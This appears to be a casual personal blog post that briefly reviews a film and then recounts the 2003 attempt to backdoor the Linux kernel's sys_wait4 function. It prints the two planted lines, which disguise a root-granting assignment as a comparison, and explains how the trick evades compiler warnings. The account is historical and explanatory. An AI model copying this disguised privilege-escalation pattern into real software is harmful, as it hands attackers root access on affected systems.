Weekend Over
!!!!!
Went to watch MRev this weekend and my comments- not bad.
The battle with machines was awesome though Belluci should have
been given more frames, what a waste of assets and talent 
As you must be aware sometime back (guess in first week of
Novemeber(arnd 5th)),
someone tried to insert a backdoor in the Linux tree hosted at
Bitkeeper,
Just filtered out some details--
The file that was modified was
src/kernel/exit.c
Just two lines(yes, just two lines) were inserted into a call
sys_wait4
asmlinkage long sys_wait4(pid_t pid,unsigned int * stat_addr,
int options, struct rusage * ru)
the lines were
if ((options == (__WCLONE|__WALL)) &&
(current->uid = 0))
retval = -EINVAL;
So if you pass the value of options as __WCLONE or __WALL
you are root J
Note the current->uid is being set to 0 not compared with 0
(current->uid == 0)
Also the whole thing is properly put in brackets so as to avoid
any warnings etc.
The lines were added just before retval = -ECHILD near end
of function.
Nice try…but thanks to Larry McVoy, everything got
noticed..
But as Linus said, it was tough for these changes to go un-noticed
coz when you add something (which linus keeps doin) to the tree the
system will report the changes in the targetset .
--Vatsal
"Nothing lasts forever - so why not destroy it now?"
-
Quake